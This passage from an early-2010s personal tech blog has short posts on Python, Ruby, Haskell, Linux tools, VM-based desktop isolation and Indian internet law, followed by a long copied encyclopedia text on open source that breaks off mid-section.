                debug = 1
        else:
                log("Unhandled exception, exiting")
                sys.exit(1)

fd1 = open('copy1.txt', 'r')
fd2 = open('copy2.txt', 'r')

f1 = fd1.read()
f2 = fd2.read()

f1l = list(f1)
f2l = list(f2)

f1i = []
f2i = []

for iter in f1l:
        f1i.append(ord(iter))

for iter in f2l:
        f2i.append(ord(iter))

rows = []
diagonals = []
columns = []
for iter in range(0, 255):
        diagonal, column = findAll(bin(iter))
        sDiagonal = "".join(diagonal)
        sColumn = "".join(column)
        iDiagonal = int(sDiagonal, 2)
        iColumn = int(sColumn, 2)
        #log("%5s\t%5s\t%5s" % (str(iter), str(iDiagonal), str(iColumn)))
        rows.append(iter)
        diagonals.append(iDiagonal)
        columns.append(iColumn)


result = []
for iter in range(0, len(f1l)):
        for iter2 in diagonals:
                if ord(f1l[iter]) == iter2:
                        result.append(chr(diagonals[iter2]))

decryptedText = "".join(result)

f = open('dtext.txt', 'w')
f.write(decryptedText)

All the above files and a few analysis are zipped to a single file which can be downloaded here

Learning django

2011-02-17T22:32:00.001-08:00

There is a good book on it, if you would like to try it out

Good paintings

2011-02-04T21:57:00.001-08:00

http://www.daydaypaint.com/blog/?tag=oil-painting

Kernel and drivers written in haskell high level programming language

2011-02-04T05:28:00.000-08:00

House is a demo of software written in Haskell, running in a standalone environment. It is a system than can serve as a platform for exploring various ideas relating to low-level and system-level programming in a high-level functional language. More details are available in our ICFP 2005 paper: A Principled Approach to Operating System Construction in Haskell.

More here

There is another project called cleese which is an attempt to write an operating system in python

Tricky bitwise operations in python

2011-02-02T23:05:00.001-08:00

sh-3.2$ cat a.py
def bin(n):
        b = ''
        while n >= 1:
                b = b + str(n % 2)
                n = n >> 1
        return b[::-1]


a = 2
b = 4
print "%10s %10s\n%10s %10s" % ('a', bin(2).zfill(10), 'b', bin(4).zfill(10))
a = a ^ b
print "%10s %10s" % ('a ^ b', bin(a).zfill(10))
b = a ^ b
print "%10s %10s" % ('a ^ b', bin(b).zfill(10))
a = a ^ b
print "%10s %10s" % ('a ^ b', bin(a).zfill(10))
sh-3.2$ python a.py
         a 0000000010
         b 0000000100
     a ^ b 0000000110
     a ^ b 0000000010
     a ^ b 0000000100

C++ type syntax using python

2011-02-02T21:09:00.000-08:00

If you like to do stuff like 'cout << "whatever"' on python This can be achieved, by re-defining the left shift using a custom __lshift__ function in an object as follows:


import sys

class ostream:

    def __init__(self, file):

        self.file = file



    def __lshift__(self, obj):

        self.file.write(str(obj));

        return self


cout = ostream(sys.stdout)

cerr = ostream(sys.stderr)

nl = '\n'

cout << "a" << " " << "hello" << nl

Execution:

#python a.py
a hello
#

HTTPS (using urllib2) and Pure SSL Peach Publishers

2011-01-27T07:42:00.000-08:00

Wrote two Peach Publishers (one for HTTPS using urllib2 and another for Pure SSL) for use in Peach Fuzzer

Attached the publishers and XML files for performing test POST and GET request fuzzing in this link

Decryptors Needed

2011-01-22T06:42:00.000-08:00

A little over a year ago, the Fermilab Office of Public Affairs received a curious letter in code (see the image to the right). It has been sitting in our files all that time and we haven’t had much of a chance to look into breaking the code, nor are we particularly expert at this!

Original Article Here

Image below:

Wikileaks leak of swiss bank accounts

2011-01-18T07:39:00.001-08:00

Original Article Here

Rudolf Elmer, a former employee of Swiss-based Bank Julius Baer, said the account holders include "high net worth" celebrities, business leaders and lawmakers from the U.S., Britain and Asia

"I want to let society know how this system works," he said. "It's damaging society"

Great resource of ancient texts

2011-01-16T08:17:00.000-08:00

Forgotten Books

Android for PCs and VMs

2011-01-15T06:17:00.000-08:00

Recently tried out two different types of androids:

Live Android

Android-X86

Quite a good experience of how mobile users feel like when they use internet

One can browse websites meant for mobiles, and chat and do stuff with a mobile's interfaces, all this using the PC

And of course, we can genuinely add "Sent from my Android" in the end of emails, to make it feel like you are a mobile geek

Magic patch in Liquorix Kernel

2011-01-07T02:43:00.000-08:00

Heard that the 200 line magic patch is in Liquorix Kernel

Installed it, and I am getting at-least 2-3 fold improvement in performance

mlocate is not for me

2011-01-07T01:33:00.000-08:00

I was recently amazed when I saw a message in my Ubuntu Desktop saying "You have only 960 MB of Disk Space"

I had installed Ubuntu on a 20 GB hard drive, and was sure I had about 18 GB to store data in file system

What I discovered was really out of my mind

I removed all files from my home folder and all files in /tmp folder, but still there was only about 1.5 GB max free

Then I installed the disk space analyzer and found that a single folder called /var/lib/mlocate has occuppied about 14 GB of space

When I removed that folder and uninstalled mlocate, my machine had a lot of disk space freed

mlocate is an application that stores a database of files so that it helps searching files in a machine

The best way to optimize your machine is to have mlocate only if you have a huge disk space, or else, please delete mlocate package and remove its database

Here was my statistics before deleting mlocate:

root@suchindrac-VM:/var/lib/mlocate$ ls -lh
total 14G
-rw-r--r-- 1 root root 0 2011-01-07 08:37 daily.lock
-rw-r----- 1 root mlocate 3.4M 2011-01-04 09:02 mlocate.db
-rw------- 1 root root 4.0G 2011-01-05 20:01 mlocate.db.IDD1FP
-rw------- 1 root root 4.5G 2011-01-07 20:24 mlocate.db.kov6WH
-rw------- 1 root root 5.1G 2011-01-03 20:13 mlocate.db.ygf7kf

Some cool stuff in ruby

2011-01-05T00:14:00.000-08:00

The following are some cool stuff I noticed at an initial glance at ruby:

irb(main):001:0> puts %&hello, I can use " without escaping&
hello, I can use " without escaping
=> nil


irb(main):002:0> 5.times { |i| puts i}
0
1
2
3
4
=> 5
 

irb(main):003:0> 5.upto(10) do
irb(main):004:1*     puts "hello"
irb(main):005:1> end
hello
hello
hello
hello
hello
hello
=> 5
 

irb(main):006:0> for i in 1..8 do puts i end
1
2
3
4
5
6
7
8
=> 1..8 


NOTE: Its 3 dots and not 2, below


irb(main):007:0> for i in 1...8 do puts i end
1
2
3
4
5
6
7
=> 1...8


irb(main):008:0> strng = "ABCD "
=> "ABCD "
irb(main):009:0> strng.match(/<(.*?)>/)[1]
=> "myname@gmail.com"


irb(main):010:0> x = 'this is a test'
=> "this is a test"
irb(main):011:0> x[/[aeiou].+?[aeiou]/]
=> "is i"


irb(main):012:0> [1, 2, 3] * 3
=> [1, 2, 3, 1, 2, 3, 1, 2, 3]


irb(main):013:0> %w{this is a test} * ", "
=> "this, is, a, test"


irb(main):014:0> h = { :name => "Fred", :age => 77 }
=> {:age=>77, :name=>"Fred"}
irb(main):015:0> h.map { |i| i * "=" } * "\n"
=> "age=77\nname=Fred"


irb(main):016:0> x = %w{p hello p}
=> ["p", "hello", "p"]
irb(main):017:0>
irb(main):018:0* "<%s>%s" % x
=> "hello
"


irb(main):019:0> year = 1972
=> 1972


irb(main):020:0> puts case year
irb(main):021:1>         when 1970..1979: "Seventies"
irb(main):022:1>         when 1980..1989: "Eighties"
irb(main):023:1>         when 1990..1999: "Nineties"
irb(main):024:1>
irb(main):025:1* end
Seventies
=> nil


irb(main):002:0> puts "hello world %s" % "john and mary"
hello world john and mary
=> nil


irb(main):007:0> puts %q!c:\napolean's documents\tomorrow's bus schedule.txt!
c:\napolean's documents\tomorrow's bus schedule.txt


irb(main):008:0> name = 'Charlie Brown'
=> "Charlie Brown"
irb(main):009:0> puts %Q!Say "Hello," #{name}.!
Say "Hello," Charlie Brown.
=> nil


irb(main):010:0> puts %x{ls}
Desktop
Documents
Downloads
examples.desktop
FlashXXw1muXb
Music
Pictures
Public
Templates
Videos
=> nil


Ruby Quick Reference Manual


irb(main):010:0> (1..3).map { |x| puts x; x+1 }
1
2
3
=> [2, 3, 4]

 

irb(main):012:0> [[1,2,3], ['a','b','c']].flatten

=> [1, 2, 3, "a", "b", "c"]

 

irb(main):013:0> [1,2,3].reduce(0, &:+)

=> 6

Securing Desktop using Virtual Machines

2011-01-04T06:37:00.000-08:00

The following is a configuration which is almost fully secure:

a. A Windows/Linux host with firewall enabled such that all incoming and outgoing connections disabled
b. A Virtual Machine inside the host with "Bridged Networking" enabled

With the above configuration, only your Virtual Machine can communicate with the outside world; Your host machine is completely isolated by means of firewall

c. Take a snapshot of the virtual machine
d. Work from the snapshot whenever you want to communicate with internet
e. Revert to snapshot when you power off your Virtual Machine (thereby all evidence of your internet work is erased)

NOTE:

a. No evidence of any work done when Virtual Machine was powered on (because you are reverting to initial snapshot when powering off)
b. Every time you power on the Virtual Machine, you revert to the initial snapshot
c. Any virus or malware that will affect during your internet working hours, will essentially be removed by powering off your VM (thereby reverting to your initial snapshot)
d. All internet activity is done using Virtual Machine, and your host's firewall blocks ALL incoming and outgoing traffic, so your host is completely safe

Bash cheet sheets

2011-01-03T01:53:00.000-08:00

Will keep adding one by one:

Bash History Cheet Sheet

Awk Cheet Sheet

Netcat Cheet Sheet

Bash command to prefix line numbers to a text file

2011-01-03T01:37:00.000-08:00

Just heard it first time. The command is nl

sh-3.2$ cat abcd.txt
line 1
line 2
line 3

line 4
line5
sh-3.2$ cat abcd.txt | nl
                 1     line 1
                 2     line 2
                 3     line 3

                 4     line 4
                 5     line5
sh-3.2$

India, here comes orwellian 1984

2011-01-02T21:13:00.000-08:00

Everything that one does on internet was regarded as free and open since a long time. But not now. India's laws prohibit anything from joking, to whistle-blowing; Which means we must stay informed only by public media and also forcibly believe in what has been said in media

Those who would give up essential liberty to purchase a little temporary safety deserve neither liberty nor safety

In a nutshell, it means, we have lost our internet liberty (at-least as per law)

Next comes the most difficult question of porn, where the common comment is: It is orwellian to enforce morality on one gender (men) while the other gender (women) goes un-monitored; If the motive is to stop porn, the laws should begin with the source of it

The following is a snip from the internet laws in India, taken from this website:

Thou shall not author a joke. Not even forward one

Any person who sends, by means of a computer resource or a communication device, — (a) any content that is grossly offensive or has menacing character; or (b) any content which he knows to be false, but for the purpose of causing annoyance, inconvenience, danger, obstruction, insult, injury, criminal intimidation, enmity, hatred or ill will... shall be punishable with imprisonment for a term which may extend to two years and with fine.

Thou shall not surf Bollywood news

Whoever publishes/ transmits/ causes to be published/ transmitted in the electronic form, any material which is lascivious or appeals to the prurient interest or if its effect is such as to tend to deprave and corrupt persons who are likely, having regard to all relevant circumstances, to read, see or hear the matter contained or embodied in it, shall be punished on first conviction with imprisonment of either prescription for a term which may extend to two years and with fine which may extend to five lakh rupees and in the event of second or subsequent conviction with imprisonment of either description for a term which may extend to five years and also with fine which may extend to ten lakh rupees.

Thou shall not watch porn

If the material is sexually explicit act or conduct then the punishment on first conviction is imprisonment which may extend to five years and a fine which may extend to ten lakh rupees. In the event of second or subsequent conviction imprisonment may extend to seven years and fine to ten lakh rupees.

But one has to admit that there is concern on part of the government on what could be the impact of the law on art and literature. So section 67 does not extend to any book, pamphlet, paper, writing, drawing, painting, representation or figure in electronic form, provided it is in the interest of science, literature, art or learning or religion. That means M.F Hussein can't be framed under IT Act anymore, and that photos and videos are not considered art.

‘So what?’ is the familiar rhetoric. Why fear if you've got nothing to hide? Why should law abiding citizens be bothered about some 'inevitable invasion' into privacy in the wake of increasing terror attacks? After all the perpetrators of terror are known to use Internet and other modern communication tools to plan and execute deadly strikes like that happened in Mumbai.

There is only one answer and it is a Benjamin Franklin quote: Those who would give up essential liberty to purchase a little temporary safety deserve neither liberty nor safety.

Wishes

2010-12-31T17:47:00.000-08:00

May you all be blessed with happiness and success in the New Year

94 year old father of 23 children

2010-12-29T07:38:00.000-08:00

Most people in the medical fraternity must have marvelled at the news of a 94-year-old man fathering a child. Doctors, however, are not too enthused by the news

More in the article here and here

Closed Source and Open Source

2010-12-29T05:12:00.001-08:00

Closed source has 2 distinct features:

a. The procedure used for manufacturing a product is hidden
b. The contents of the end product are hidden

Taking the two facts above, the following can be considered as open source/partially open source:

Farming, Food Industry, Hotel Industry, Textile Industry, Logistics, Transport, Automobiles, Housing

It is very important to know that closed source is not the same as business

Closed source == business with hidden methods and/or hidden components in end product

As per wikipedia article:

The open source model includes the concept of concurrent yet different agendas and differing approaches in production, in contrast with more centralized models of development such as those typically used in commercial software companies.^[2] A main principle and practice of open source software development is peer production by bartering and collaboration, with the end-product, source-material, "blueprints", and documentation available at no cost to the public. This is increasingly being applied in other fields of endeavor, such as biotechnology.^[3]

The concept of open source and free sharing of technological information existed long before computers. For example, cooking recipes have been shared since the beginning of human culture. Open source can pertain to businesses and to computers, software and technology.
In the early years of automobile development, a group of capital monopolists owned the rights to a 2 cycle gasoline engine patent originally filed by George B. Selden.^[4] By controlling this patent, they were able to monopolize the industry and force car manufacturers to adhere to their demands, or risk a lawsuit. In 1911, independent automaker Henry Ford won a challenge to the Selden patent. The result was that the Selden patent became virtually worthless and a new association (which would eventually become the Motor Vehicle Manufacturers Association) was formed.^[4] The new association instituted a cross-licensing agreement among all US auto manufacturers: although each company would develop technology and file patents, these patents were shared openly and without the exchange of money between all the manufacturers.^[4] Until the US entered World War 2, 92 Ford patents were being used freely by other manufacturers and were in turn making use of 515 patents from other companies, all without lawsuits or the exchange of money.^[4]
Very similar to open standards, researchers with access to Advanced Research Projects Agency Network (ARPANET) used a process called Request for Comments to develop telecommunication network protocols. This collaborative process of the 1960s led to the birth of the Internet in 1969.
Early instances of open source and free software include IBM's source releases of its operating systems and other programs in the 1950s and 1960s, and the SHARE user group that formed to facilitate the exchange of software.^[5]^[6] Open source on the Internet began when the Internet was just a message board, and progressed to more advanced presentation and sharing forms like a Web site. There are now many Web sites, organizations and businesses that promote open source sharing of everything from computer code to mechanics of improving a product, technique, or medical advancement.
The label “open source” was adopted by some people in the free software movement at a strategy session^[7] held at Palo Alto, California, in reaction to Netscape's January 1998 announcement of a source code release for Navigator. The group of individuals at the session included Christine Peterson who suggested “open source”, Todd Anderson, Larry Augustin, Jon Hall, Sam Ockman, Michael Tiemann and Eric S. Raymond. Over the next week, Raymond and others worked on spreading the word. Linus Torvalds gave an all-important sanction the following day. Phil Hughes offered a pulpit in Linux Journal. Richard Stallman, pioneer of the free software movement, flirted with adopting the term, but changed his mind.^[8] Those people who adopted the term used the opportunity before the release of Navigator's source code to free themselves of the ideological and confrontational connotations of the term "free software". Netscape released its source code under the Netscape Public License and later under the Mozilla Public License.^[9]
The term was given a big boost at an event organized in April 1998 by technology publisher Tim O'Reilly. Originally titled the “Freeware Summit” and later known as the “Open Source Summit”,^[10] The event brought together the leaders of many of the most important free and open source projects, including Linus Torvalds, Larry Wall, Brian Behlendorf, Eric Allman, Guido van Rossum, Michael Tiemann, Paul Vixie, Jamie Zawinski of Netscape, and Eric Raymond. At that meeting, the confusion caused by the name free software was brought up. Tiemann argued for “sourceware” as a new term, while Raymond argued for “open source.” The assembled developers took a vote, and the winner was announced at a press conference that evening. Five days later, Raymond made the f

Economic analysis

Most economists agree that open source candidates have an information good^[12] (also termed 'knowledge good') aspect. In general, this suggests that the original work involves a great deal of time, money, and effort. However, the cost of reproducing the work is very low, so that additional users may be added at zero or near zero cost — this is referred to as the marginal cost of a product. At this point, it is necessary to consider a copyright. The idea of copyright for works of authorship is to protect the incentive of making these original works. Copyright restriction then creates access costs on consumers who value the original more than making an additional copy but value the original less than its price. Thus, they will pay an access cost of this difference. Access costs also pose problems for authors who wish to create something based on another work but are not willing to pay the copyright holder for the rights to the copyrighted work. The second type of cost incurred with a copyright system is the cost of administration and enforcement of the copyright.
Being organised effectively as a consumers' cooperative, the idea of open source is then to eliminate the access costs of the consumer and the creator by reducing the restrictions of copyright. This will lead to creation of additional works, which build upon previous work and add to greater social benefit. Additionally some proponents argue that open source also relieves society of the administration and enforcement costs of copyright. Organizations such as Creative Commons have websites where individuals can file for alternative “licenses”, or levels of restriction, for their works.^[13] These self-made protections free the general society of the costs of policing copyright infringement. Thus, on several fronts, there is an efficiency argument to be made on behalf of open sourced goods.
Others argue that society loses through open sourced goods. Because there is a loss in monetary incentive to the creation of new goods, some argue that new products will not be created. This argument seems to apply particularly well to the business model where extensive research and development is done, e.g. pharmaceuticals. However, this argument ignores the fact that cost reduction for all concerned is perhaps an even better monetary incentive than is a price increase. In addition, others argue that visual art and other works of authorship should be free. These proponents of extensive open source ideals argue that monetary incentive for artists would perhaps better be derived from performances or exhibitions, in a similar fashion to the funding of provision of other types of services.

[edit] Case study

An investigation of open source industrial symbiosis is performed by Doyle and Pearce [1] using Google Earth (GE). This paper found that virtual globes coupled with open source waste information can be used to:

reduce embodied transport energy by reducing distances to recycling facilities,
choose end of life at recycling facilities rather than landfills, and
establish industrial symbiosis and eco-industrial parks on known by-product synergies.

Ultimately, open source sharing of information in virtual globes provide a means to identify economically and environmentally beneficial opportunities for waste management if the data have been made available.

[edit] Applications

Many fields of study and social and political views have been affected by the growth of the concept of open source. Advocates in one field often support the expansion of open source in other fields. For example, Linus Torvalds said, "the future is open source everything."^[14] But Eric Raymond and other founders of the open source movement have sometimes publicly argued against speculation about applications outside software, saying that strong arguments for software openness should not be weakened by overreaching into areas where the story is less compelling. The broader impacts of the open source movement, and the extent of its role in the development of new information sharing procedures, remain to be seen.
The open source movement has inspired increased transparency and liberty in other fields, including the release of biotechnology research by CAMBIA,^[15] Wikipedia,^[16] and other projects. The open-source concept has also been applied to media other than computer programs, e.g., by Creative Commons.^[17] It also constitutes an example of user innovation (see for example the book Democratizing Innovation).^[18] Often, open source is an expression where it simply means that a system is available to all who wish to work on it. The difference between crowdsourcing and open source is that open source production is a cooperative activity initiated and voluntarily undertaken by members of the public

[edit] Computer software

Open source software is software whose source code is published and made available to the public, enabling anyone to copy, modify and redistribute the source code without paying royalties or fees.^[19] Open source code evolves through community cooperation. These communities are composed of individual programmers as well as very large companies. Examples of open-source software products are:^[20]
Programming language

PHP - Scripting language suited for the web

GNU Project — “a sufficient body of free software”
Linux — operating system kernel based on Unix
OpenBSD — operating system derived from Unix
FreeBSD — operating system derived from Unix
OpenSolaris — Unix Operating System from Sun Microsystems
Symbian — real-time mobile operating system

Server

Apache — HTTP web server
Tomcat web server — web container
Mediawiki — wiki server software, the software that runs Wikipedia
Alfresco — content management system
RenovatioCMS — content management system
Joomla — content management system
Drupal — content management system
TYPO3 — content management system
WordPress — blog software
MongoDB — document-oriented, non-relational database
Eclipse — software development environment comprising an integrated development environment (IDE)
Moodle — course management system or virtual learning environment
openSIS — open source Student Information System

Client software

osCommerce — ecommerce
PeaZip — File archiver
Mozilla Firefox — web browser
Mozilla Thunderbird — e-mail client
OpenOffice.org — office suite
Stockfish — chess engine series, considered to be one of the strongest chess programs of the world
7-Zip — File archiver

And many, many more

[edit] Computer hardware

Open source hardware is hardware whose initial specification, usually in a software format, are published and made available to the public, enabling anyone to copy, modify and redistribute the hardware and source code without paying royalties or fees. Open source hardware evolves through community cooperation. These communities are composed of individual hardware/software developers, hobbyists, as well as very large companies. Examples of open source hardware initiatives are:

Openmoko: a family of open source mobile phones, including the hardware specification and the operating system.
OpenRISC: an open source microprocessor family, with architecture specification licensed under GNU GPL and implementation under LGPL.
Sun Microsystems's OpenSPARC T1 Multicore processor. Sun has released it under GPL.^[21]
Arduino, a microcontroller platform for hobbyists, artists and designers.^[22]
Simputer, an open hardware handheld computer, designed in India for use in environments where computing devices such as personal computers are deemed inappropriate.^[23]
LEON: A family of open source microprocessors distributed in a library with peripheral IP cores, open SPARC V8 specification, implementation available under GNU GPL.

[edit] Beverages

OpenCola — a cola soft drink, similar to Coca-Cola and Pepsi, whose recipe [2] is open source and developed by volunteers. The taste is said to be comparable to that of the standard beverages. Most corporations producing beverages, hold their formulas as closely guarded secrets.^[24]
Vores Øl beer — a beer created by students at the IT-University in Copenhagen together with Superflex, a Copenhagen-based artist collective, to illustrate how open source concepts might be applied outside the digital world.^[25]^[26]^[27]
In 2002, the beer company Brewtopia in Australia started an open source brewery and invited the general population to be involved in the development and ownership of the brewery, and to vote on the development of every aspect of its beer, Blowfly, and its road to market. In return for their feedback and input, individuals received shares in the company, which is now publicly traded on a stock exchange in Australia. The company has always adhered to its Open Source roots and is the only beer company in the world that allows the public to design, customise and develop its own beers online.^[28]
Coffee — capsule-based beverage systems such as Nestle's Nespresso or Krups' Tassimo turn home-brewed coffee from an inherently "open-source" beverage into a product limited by the specific range of capsules made available by the system manufacturers.^[29]

[edit] Digital content

Open-content projects organized by the Wikimedia Foundation — Sites such as Wikipedia and Wiktionary have embraced the open-content GFDL and Creative Commons content licenses. These licenses were designed to adhere to principles similar to various open-source software development licenses. Many of these licenses ensure that content remains free for re-use, that source documents are made readily available to interested parties, and that changes to content are accepted easily back into the system. An important site embracing open source-like ideals is Project Gutenberg,^[30] which posts many books on which the copyright has expired and are thus in the Public Domain, ensuring that anyone can use that content for any purpose whatsoever.

[edit] Health and science

Medicine

Pharmaceuticals — There have been several proposals for open-source pharmaceutical development,^[31]^[32] which led to the establishment of the Tropical Disease Initiative. There are also a number of not-for-profit "virtual pharmas" such as the Institute for One World Health and the Drugs for Neglected Diseases Initiative.

Science

Research — The Science Commons was created as an alternative to the expensive legal costs of sharing and reusing scientific works in journals etc.^[33]
Research — The Open Source Science Project was created to increase the ability for students to participate in the research process by providing them access to microfunding — which, in turn, offers non-researchers the opportunity to directly invest, and follow, cutting-edge scientific research. All data and methodology is subsequently published in an openly accessible manner under a Creative Commons fair use license.

MediaWiki logo

[edit] Robotics

Main article: Open-source robotics

An open-source robot is a robot whose blueprints, schematics, and/or source code are released under an open source model.

[edit] Other

Open source principles can be applied to technical areas such as digital communication protocols and data storage formats.

Open design — which involves applying open source methodologies to the design of artifacts and systems in the physical world. Very nascent but has huge potential.^[34]

Open source appropriate technology (OSAT) refers to technologies that are designed in the same fashion as free and open-source software. These technologies must be “appropriate technology” (AT) — meaning technology that is designed with special consideration to the environmental, ethical, cultural, social, political, and economical aspects of the community it is intended for.

Teaching — which involves applying the concepts of open source to instruction using a shared web space as a platform to improve upon learning, organizational, and management challenges. An example of an Open Source Courseware is the Java Education & Development Initiative (JEDI).^[35]

There are few examples of business information (methodologies, advice, guidance, practices) using the open source model, although this is another case where the potential is enormous. ITIL is close to open source. It uses the Cathedral model (no mechanism exists for user contribution) and the content must be bought for a fee that is small by business consulting standards (hundreds of British pounds). Various checklists are published by government, banks or accounting firms. Possibly the only example of free, bazaar-model open source business information is Core Practice.

[edit] Society and culture

This section overlaps with other sections too much. It should be combined with the rest of the article.
Please improve this article if you can.

Open source culture is the creative practice of appropriation and free sharing of found and created content. Examples include collage, found footage film, music, and appropriation art. Open source culture is one in which fixations, works entitled to copyright protection, are made generally available. Participants in the culture can modify those products and redistribute them back into the community or other organizations.
The rise of open-source culture in the 20th century resulted from a growing tension between creative practices that involve appropriation, and therefore require access to content that is often copyrighted, and increasingly restrictive intellectual property laws and policies governing access to copyrighted content. The two main ways in which intellectual property laws became more restrictive in the 20th century were extensions to the term of copyright (particularly in the United States) and penalties, such as those articulated in the Digital Millennium Copyright Act (DMCA), placed on attempts to circumvent anti-piracy technologies.^[36]
Although artistic appropriation is often permitted under fair use doctrines, the complexity and ambiguity of these doctrines creates an atmosphere of uncertainty among cultural practitioners. Also, the protective actions of copyright owners create what some call a "chilling effect" among cultural practitioners.^[37]
In the late 20th century, cultural practitioners began to adopt the intellectual property licensing techniques of free software and open-source software to make their work more freely available to others, including the Creative Commons.
The idea of an "open source" culture runs parallel to "Free Culture," but is substantively different. Free culture is a term derived from the free software movement, and in contrast to that vision of culture, proponents of Open Source Culture (OSC) maintain that some intellectual property law needs to exist to protect cultural producers. Yet they propose a more nuanced position than corporations have traditionally sought. Instead of seeing intellectual property law as an expression of instrumental rules intended to uphold either natural rights or desirable outcomes, an argument for OSC takes into account diverse goods (as in "the Good life") and ends.
One way of achieving the goal of making the fixations of cultural work generally available is to maximally utilize technology and digital media. In keeping with Moore's law's prediction about processors, the cost of digital media and storage plummeted in the late 20th Century. Consequently, the marginal cost of digitally duplicating anything capable of being transmitted via digital media dropped to near zero. Combined with an explosive growth in personal computer and technology ownership, the result is an increase in general population's access to digital media. This phenomenon facilitated growth in open source culture because it allowed for rapid and inexpensive duplication and distribution of culture. Where the access to the majority of culture produced prior to the advent of digital media was limited by other constraints of proprietary and potentially "open" mediums, digital media is the latest technology with the potential to increase access to cultural products. Artists and users who choose to distribute their work digitally face none of the physical limitations that traditional cultural producers have been typically faced with. Accordingly, the audience of an open source culture faces little physical cost in acquiring digital media.
Open source culture precedes Richard Stallman's codification of free software with the creation of the Free Software Foundation. As the public began to communicate through Bulletin Board Systems (BBS) like FidoNet, places like Sourcery Systems BBS were dedicated to providing source code to Public Domain, Shareware and Freeware programs.
Essentially born out of a desire for increased general access to digital media, the Internet is open source culture's most valuable asset. It is questionable whether the goals of an open source culture could be achieved without the Internet. The global network not only fosters an environment where culture can be generally accessible, but also allows for easy and inexpensive redistribution of culture back into various communities. Some reasons for this are as follows.
First, the Internet allows even greater access to inexpensive digital media and storage. Instead of users being limited to their own facilities and resources, they are granted access to a vast network of facilities and resources, some free. Sites such as Archive.org offer up free web space for anyone willing to license their work under a Creative Commons license. The resulting cultural product is then available to download free (generally accessible) to anyone with an Internet connection.
Second, users are granted unprecedented access to each other. Older analog technologies such as the telephone or television have limitations on the kind of interaction users can have. In the case of television there is little, if any interaction between users participating on the network. And in the case of the telephone, users rarely interact with any more than a couple of their known peers. On the Internet, however, users have the potential to access and meet millions of their peers. This aspect of the Internet facilitates the modification of culture as users are able to collaborate and communicate with each other across international and cultural boundaries. The speed in which digital media travels on the Internet in turn facilitates the redistribution of culture.
Through various technologies such as peer-to-peer networks and blogs, cultural producers can take advantage of vast social networks in order to distribute their products. As opposed to traditional media distribution, redistributing digital media on the Internet can be virtually costless. Technologies such as BitTorrent and Gnutella take advantage of various characteristics of the Internet protocol (TCP/IP) in an attempt to totally decentralize file distribution.

[edit] Government

Open politics (sometimes known as Open source politics) — is a term used to describe a political process that uses Internet technologies such as blogs, email and polling to provide for a rapid feedback mechanism between political organizations and their supporters. There is also an alternative conception of the term Open source politics which relates to the development of public policy under a set of rules and processes similar to the Open Source Software movement.
Open source governance — is similar to open source politics, but it applies more to the democratic process and promotes the freedom of information.

[edit] Ethics

Open Source ethics is split into two strands:

Open Source Ethics as an Ethical School — Charles Ess and David Berry are researching whether ethics can learn anything from an open source approach. Ess famously even defined the AoIR Research Guidelines as an example of open source ethics.^[38]
Open Source Ethics as a Professional Body of Rules — This is based principally on the computer ethics school, studying the questions of ethics and professionalism in the computer industry in general and software development in particular.^[39]

[edit] Media

Open source journalism — referred to the standard journalistic techniques of news gathering and fact checking, and reflected a similar term that was in use from 1992 in military intelligence circles, open source intelligence. It is now commonly used to describe forms of innovative publishing of online journalism, rather than the sourcing of news stories by a professional journalist. In the December 25, 2006 issue of TIME magazine this is referred to as user created content and listed alongside more traditional open source projects such as OpenSolaris and Linux.
Weblogs, or blogs, are another significant platform for open source culture. Blogs consist of periodic, reverse chronologically ordered posts, using a technology that makes webpages easily updatable with no understanding of design, code, or file transfer required. While corporations, political campaigns and other formal institutions have begun using these tools to distribute information, many blogs are used by individuals for personal expression, political organizing, and socializing. Some, such as LiveJournal or WordPress, utilize open source software that is open to the public and can be modified by users to fit their own tastes. Whether the code is open or not, this format represents a nimble tool for people to borrow and re-present culture; whereas traditional websites made the illegal reproduction of culture difficult to regulate, the mutability of blogs makes "open sourcing" even more uncontrollable since it allows a larger portion of the population to replicate material more quickly in the public sphere.
Messageboards are another platform for open source culture. Messageboards (also known as discussion boards or forums), are places online where people with similar interests can congregate and post messages for the community to read and respond to. Messageboards sometimes have moderators who enforce community standards of etiquette such as banning users who are spammers. Other common board features are private messages (where users can send messages to one another) as well as chat (a way to have a real time conversation online) and image uploading. Some messageboards use phpBB, which is a free open source package. Where blogs are more about individual expression and tend to revolve around their authors, messageboards are about creating a conversation amongst its users where information can be shared freely and quickly. Messageboards are a way to remove intermediaries from everyday life — for instance, instead of relying on commercials and other forms of advertising, one can ask other users for frank reviews of a product, movie or CD. By removing the cultural middlemen, messageboards help speed the flow of information and exchange of ideas.
OpenDocument is an open document file format for saving and exchanging editable office documents such as text documents (including memos, reports, and books), spreadsheets, charts, and presentations. Organizations and individuals that store their data in an open format such as OpenDocument avoid being locked in to a single software vendor, leaving them free to switch software if their current vendor goes out of business, raises their prices, changes their software, or changes their licensing terms to something less favorable.
Open source movie production is either an open call system in which a changing crew and cast collaborate in movie production, a system in which the end result is made available for re-use by others or in which exclusively open source products are used in the production. The 2006 movie Elephants Dream is said to be the "world's first open movie",^[40] created entirely using open source technology.
An open source documentary film has a production process allowing the open contributions of archival material, footage, and other filmic elements, both in unedited and edited form. By doing so, on-line contributors become part of the process of creating the film, helping to influence the editorial and visual material to be used in the documentary, as well as its thematic development. The first open source documentary film to go into production "The American Revolution",^[41]" which will examine the role that WBCN-FM in Boston played in the cultural, social and political changes locally and nationally from 1968 to 1974, is being produced by Lichtenstein Creative Media and the non-profit The Fund for Independent Media. Open Source Cinema is a website to create Basement Tapes, a feature documentary about copyright in the digital age, co-produced by the National Film Board of Canada. Open Source Filmmaking refers to a form of filmmaking that takes a method of idea formation from open source software, but in this case the 'source' for a film maker is raw unedited footage rather than programming code. It can also refer to a method of filmmaking where the process of creation is 'open' i.e. a disparate group of contributors, at different times contribute to the final piece.
Open-IPTV is IPTV that is not limited to one recording studio, production studio, or cast. Open-IPTV uses the Internet or other means to pool efforts and resources together to create an online community that all contributes to a show.

[edit] Education

Within the academic community, there is discussion about expanding what could be called the "intellectual commons" (analogous to the Creative Commons). Proponents of this view have hailed the Connexions Project at Rice University, OpenCourseWare project at MIT, Eugene Thacker's article on "Open Source DNA", the "Open Source Cultural Database" and Wikipedia as examples of applying open source outside the realm of computer software.
Open source curricula are instructional resources whose digital source can be freely used, distributed and modified.
Another strand to the academic community is in the area of research. Many funded research projects produce software as part of their work. There is an increasing interest in making the outputs of such projects available under an open source license. In the UK the Joint Information Systems Committee (JISC) has developed a policy on open source software. JISC also funds a development service called OSS Watch which acts as an advisory service for higher and further education institutions wishing to use, contribute to and develop open source software.

[edit] Innovation communities

